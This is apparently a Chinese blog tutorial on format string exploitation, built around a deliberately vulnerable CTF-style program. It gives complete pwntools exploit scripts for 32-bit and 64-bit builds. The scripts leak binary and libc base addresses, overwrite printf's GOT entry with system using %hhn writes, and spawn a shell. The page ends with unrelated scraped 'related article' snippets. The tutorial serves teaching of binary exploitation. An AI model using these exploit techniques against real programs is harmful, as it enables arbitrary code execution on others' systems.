格式化字符串漏洞是一个经典的 pwn 类型漏洞,入门文章很多,例如如下博客

  • 格式化字符串漏洞小总结(上) - 先知社区 (aliyun.com)
  • 原理介绍 - CTF Wiki (ctf-wiki.org)
  • Linux 二进制漏洞挖掘入门系列之(四)格式化字符串漏洞_\x04 x80_江下枫的博客-CSDN博客

我们这里以一个实际案例为例,总结一下如何利用格式化字符串漏洞实现任意地址读写,如果你想知道格式化字符串的一些细节,可以先参考上面的博客。

简单回顾

格式化字符串的基本格式

%[parameter][flags][field width][.precision][length]type

与漏洞相关的特性

  • [paramter] num$,获取格式化字符串中的指定参数,例如 %x 是打印第一个参数,则 %2$x 是打印第二个参数,即使 printf 没有写第 2 个参数,实际此函数也会自动从栈上取一个参数。

任意地址读

基本格式: addr%num$s

任意地址写

基本格式: addr%num$n

栈布局

要理解格式化字符串漏洞,一定要先理解所在函数的栈布局,例如对于下面的代码

gets(buf);
printf(buf);

调用 printf/scanf 所在函数(main)栈布局,下图适用于一般的格式化字符串漏洞

                         ┌────────────────────┐│                    │
L             ┌──────────┴──────────┐         ▼sp────────►│       format        │ printf(format, arg1, arg2)├─────────────────────┤         │       │      │▲     │        arg1         │◄────────┼───────┘      ││     ├─────────────────────┤         │              ││     │        arg2         │◄────────┼──────────────┘│     ├─────────────────────┤         ││     │                     │         ││     │                     │         ││     │                     │         │11$    │                     │         ││                     │         ││     │                     │         ││     │                     │         ││     │                     │         ││     │                     │         │▼     ├─────────────────────┤         │─────────┤       buf-input     │◄────────┘├─────────────────────┤│                     │├─────────────────────┤│                     ││                     ││                     │H            └─────────────────────┘

漏洞案例

目标程序源代码 pwnme.c,非常简单,就是循环读取用户输入,并且直接输出,这是一个最为典型的格式化字符串漏洞

#include <stdio.h>
#include <string.h>
#include <unistd.h>int main(int argc, char const *argv[])
{char buf[0x101];int i;for (i = 0; i < 0x10; ++i) {memset(buf, 0, sizeof(buf));read(0, buf, sizeof(buf));printf(buf);}return 0;
}

本题目标是让用户利用格式化字符串漏洞完成地址泄露,修改 GOT 表,拿到 shell,因此需要关闭 RELRO 安全编译选项。本题还有个坑点在于 buf 没有 4B 对齐。

  • NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
  • Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
  • PIE-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
  • RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限

编译

 # 32位gcc pwnme.c -z norelro -m32 -o pwnme_32# 64位gcc pwnme.c -z norelro -o pwnme_64

32 位 EXP

1 泄露 libc 基地址

由于目标程序开了地址随机化,因此需要泄露 libc 基址。格式化字符串漏洞允许我们将整个栈上的数据都泄露出来

  • main 函数调用 printf 的地方设置断点,查看此时栈空间,发现 printf 的第 4 个参数(格式化字符串的第 3 个参数)指向目标程序 <main+30> 的位置,因此利用这个参数即可泄露程序加载的基址

  • 或者直接输入 %x.%x.%x... 类似的语句,将整个栈数据都打印出来,观察上面的数据是否与地址相关的。

───────────────────────────────────────────────────────────────────── stack ────
0xffffcf80│+0x0000: 0xffffcfab  →  "AAAA.%p.%p.%p.%p.%p.%p.%p\n"  ← $esp
0xffffcf84│+0x0004: 0xffffcfab  →  "AAAA.%p.%p.%p.%p.%p.%p.%p\n"
0xffffcf88│+0x0008: 0x00000101
0xffffcf8c│+0x000c: 0x5655624b  →  <main+30> add ebx, 0x2d81
0xffffcf90│+0x0010: 0x00000340
0xffffcf94│+0x0014: 0x00000340
0xffffcf98│+0x0018: 0x00000340
0xffffcf9c│+0x001c: 0xffffd164  →  0xffffd325  →  "/home/tom/Documents/ctf/formatstring/pwnme_32"

泄露完程序基址,再利用任意地址读,读取目标程序 got 表中任意一个已经使用过的导出函数的地址,即可泄露 libc 基址。

  • 任意地址读需要知道格式化字符串指针到实际存储的内容*也就是用户输入之间的长度,上文提到的栈布局中,11$,其实就是输入 AAAA.%11$x,输出 AAAA.414141,这么得来的*
# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real))    # sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)

2 覆写 got 表导出函数

格式化字符串 %n 默认写入 4B,如果想写入大数据,会导致十分不稳定,因此利用格式化字符串漏洞的实际任意地址写,我们通常一次性写入一个或两个字节,而非四个字节

  • %hhn 对于整数类型,printf 期待一个从 char 提升的 int 尺寸的整型参数
  • %hn 对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数
  • %n 写入整型

逐字节写,这里需要仔细揣摩如下案例,假设我们想覆盖 3B,需要写入 3 次,我们写入的格式化字符串 payload 长度最大不超过 12*3+1,为了补齐,使用 ljust 填充到该长度。格式化字符串 %{}c%20$hhn顾名思义,将格式化字符串的第 20 个参数写入 low1。而如下的 paylod,第 20 个参数(11+12*3/4 = 20)存放的是 printf_got 地址

low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xffpayload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)

完整 exp

from pwn import *sh = process('./pwnme_32')
libc_elf = ELF('/lib32/libc.so.6')
pwn_elf = ELF('./pwnme_32')
context(log_level='info')
# gdb.attach(sh)# 1.0 leak binary base address
payload = '%3$x'
sh.sendline(payload)
main_30_addr = int(sh.recvuntil('\n', drop=True), 16)
pwn_base = main_30_addr - 0x0000124B
info('binary base address: 0x%x' % pwn_base)# 1.1 leak libc base address
read_got_real = pwn_base + pwn_elf.got['read']
payload = b'B' + p32(read_got_real) + b'%11$s'
sh.sendline(payload)
sh.recvuntil(p32(read_got_real))    # sh.recv(5)
libc_read = sh.recv(4)
#sh.recvuntil('\n')
libc_base = u32(libc_read) - libc_elf.sym['read']
info('libc base address: 0x%x' % libc_base)# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_got = pwn_base + pwn_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 8 * 2 & 0xffpayload = b'B' + '%{}c%20$hhn'.format(low1 - 1).encode()
payload += '%{}c%21$hhn'.format((low2 - low1 + 0x100) % 0x100).encode()
payload += '%{}c%22$hhn'.format((low3 - low2 + 0x100) % 0x100).encode()
payload = payload.ljust(12 * 3 + 1, b'A')
payload += p32(printf_got) + p32(printf_got + 1) + p32(printf_got + 2)
# pause()
sh.sendline(payload)

64 位 EXP

与 32 位有所不同的是,64 位传参,优先使用寄存器作为函数的参数(rdi, rsi, rdx, rcx, r8, r9),因此,占满以后第 7 个参数才会存放在栈上。

1 泄露 libc 基址

在调用 printf 的地方下断点,没有发现栈上存储了程序基址相关的地址

───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdda0│+0x0000: 0x00007fffffffdfc8  →  0x00007fffffffe328  →  "/home/tom/Documents/ctf/formatstring/pwnme_64"     ← $rsp
0x00007fffffffdda8│+0x0008: 0x0000000100000340
0x00007fffffffddb0│+0x0010: 0x0000034000000340
0x00007fffffffddb8│+0x0018: 0x0000000c00000340
0x00007fffffffddc0│+0x0020: "AAAABBBB.%10$p\n"    ← $rsi, $rdi, $r10
0x00007fffffffddc8│+0x0028: ".%10$p\n"
0x00007fffffffddd0│+0x0030: 0x0000000000000000
0x00007fffffffddd8│+0x0038: 0x0000000000000000

继续查看,发现栈顶偏移 0x150的地址,存放了 <main>

gef➤  x/gx 0x00007fffffffdda8 + 0x150
0x7fffffffdef8: 0x00005555555551a9
gef➤  xinfo 0x00005555555551a9
──────────────────────────────────────────── xinfo: 0x5555555551a9 ────────────────────────────────────────────
Page: 0x0000555555555000  →  0x0000555555556000 (size=0x1000)
Permissions: r-x
Pathname: /home/tom/Documents/ctf/formatstring/pwnme_64
Offset (from page): 0x1a9
Inode: 1574883
Segment: .text (0x00005555555550c0-0x00005555555552d5)
Offset (from segment): 0xe9
Symbol: main

printf 第 4 个参数存放了 libc 相关地址

printf@plt ($rdi = 0x00007fffffffddc0 → 0x0000000a31313131 ("1111\n"?),$rsi = 0x00007fffffffddc0 → 0x0000000a31313131 ("1111\n"?),$rdx = 0x0000000000000101,$rcx = 0x00007ffff7ed0fd2 → 0x5677fffff0003d48 ("H="?)
)

计算程序和 libc 基址

payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)

2 覆写 got 表导出函数

同样道理,找到格式化字符串参数到实际指针的偏移

输入:AAAABBBB.%10$p
输出:AAAABBBB.0x4242424241414141

与 32 位套路一样,但是注意的是,payload 填充字段必须是 8B 对齐

sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xffpayload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')   #  +4是为了8字节对齐!
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)

完整 exp

from pwn import *sh = process('./pwnme_64')
bin_elf = ELF('./pwnme_64')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context(log_level='info')# 1 leak binary and libc base address
payload = '%{}$p.%3$p'.format(int(7+0x150/8))
sh.sendline(payload)
ret = sh.recvuntil(b'\n', drop=True).split(b'.')
bin_base = int(ret[0], 16) - 0x11a9
libc_base = int(ret[1], 16) - 0x10dfd2
info('binary base address: 0x%x' % bin_base)
info('libc base address: 0x%x' % libc_base)# 2 write
sys_addr = libc_base + libc_elf.sym['system']
printf_addr = bin_base + bin_elf.got['printf']
low1 = sys_addr & 0xff
low2 = sys_addr >> 8 & 0xff
low3 = sys_addr >> 16 & 0xffpayload = '%{}c%15$hhn'.format(low1).encode()
payload += '%{}c%16$hhn'.format((low2-low1+0x100)%0x100).encode()
payload += '%{}c%17$hhn'.format((low3-low2+0x100)%0x100).encode()
payload = payload.ljust(12 * 3 + 4, b'a')
payload += p64(printf_addr) + p64(printf_addr+1) + p64(printf_addr+2)sh.sendline(payload)
sh.sendline(b'/bin/sh\0')
sh.interactive()

总结

理解格式化字符串漏洞关键还是在于理解栈空间布局,任意地址写初学者接触到可能较为抽象,但是结合栈空间布局以及格式化字符串的原理,详细我们就能对格式化字符串有个更加清晰的认知。如果能够复现上述漏洞案例,那么恭喜你,已经完成了 pwn 格式化字符串漏洞这一旅程。

  1. 泄露栈空间,计算程序或者 libc 加载基址 (%p.%p.%p)
  2. 泄露栈空间,找出格式化字符串参数到实际格式化字符指针的距离(AAAABBBB.%p.%p.%p.%p.%p.%p.%p
  3. 任意地址读(addr%11$s
  4. 任意地址写('%{}c%11$hhn'.format(index) + addr

利用格式化字符串漏洞实现任意地址读写相关推荐

  1. 格式化字符串漏洞及利用_萌新食用

    格式化字符串漏洞及利用 前言 格式化字符串漏洞 具有 任意地址读,任意地址写.  printf printf --一个参数:情况1 //gcc -g -m32 fmt.c -o fmt #includ ...

  2. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  3. 攻防世界格式化字符串漏洞greeting150

    1.checksec+运行 32位/NX堆栈不可执行/Canary保护 注意一点:没有RELRO保护,got表完全可写 2.IDA常规操作 1.main函数 2.getnline 函数 看到以上信息可 ...

  4. 格式化字符串漏洞利用 六、特殊案例

    六.特殊案例 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 有 ...

  5. 格式化字符串漏洞利用

    学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/                        ht ...

  6. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

  7. CTF(pwn)-格式化字符串漏洞讲解(二) --攻防世界CGfsb

    格式化字符串漏洞介绍: https://blog.csdn.net/weixin_45556441/article/details/114080930 一.分析 pwnme的地址为 0x804A068 ...

  8. CTF pwn题之格式化字符串漏洞详解

    格式化字符串漏洞详解 概念 如何利用 基本利用方式讲解 常用payload总结 pwntools -- FmtStr类 求偏移 地址泄露 任意地址写 一个例子 总结 概念   格式化字符串漏洞的成因在 ...

  9. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

最新文章

  1. OpenCV学习(12) 图像的腐蚀与膨胀(3)
  2. ajax模拟省市级联动,省市区三级联动和ajax模拟请求(示例代码)
  3. 集合,stack,queue,dictionary,ArrayList,listT
  4. 云栖大会发布全球调度算法大赛,阿里又要搞什么黑科技?
  5. NYOJ995硬币找零(简单dp)
  6. 促使整个团队改善的首要驱动力一定来自技术领域
  7. Java多线程知识整理
  8. mysql spool csv报错_Oracle使用spool快速导出超大表
  9. 使用Antlr实现简单的DSL
  10. windows无法完成格式化U盘与U盘修复对几种解决方法
  11. ctf————逆向新手题8(logmein)WP
  12. nginx 之安全配置
  13. 【Labview机器视觉】- USB摄像头识别一维码(条形码)- 学习记录
  14. Allegro_理解通孔焊盘
  15. matlab 积分 例子,[Matlab]使用arrayfun对矩阵表达式积分的例子
  16. centos 6.8使用wine安装QQ2016
  17. 中国人民公安大学网络对抗技术实验四
  18. 未来换电站的一些想法
  19. 李玉婷老师MYSQL进阶01-基础查询
  20. 基于Pytorch的简单深度学习项目实战

热门文章

  1. 《Java面试题汇总》
  2. Office 2003打开Office 2007文件格式的兼容软件包
  3. 1999-2018年地级市城镇化率(非农口径)
  4. 51单片机的基础知识——单片机简介
  5. 程序员的1024|我学开发第二年|专心练剑
  6. 最大值最小化(网易有道2013年校园招聘面试一面试题)
  7. 一个人自律有多可怕?
  8. 厚积方可薄发 看网易云信在业内如何“弯道超车”
  9. 德国警方捣毁暗网重要节点
  10. 桂林两夜三日游(程序员也是要放松放松的)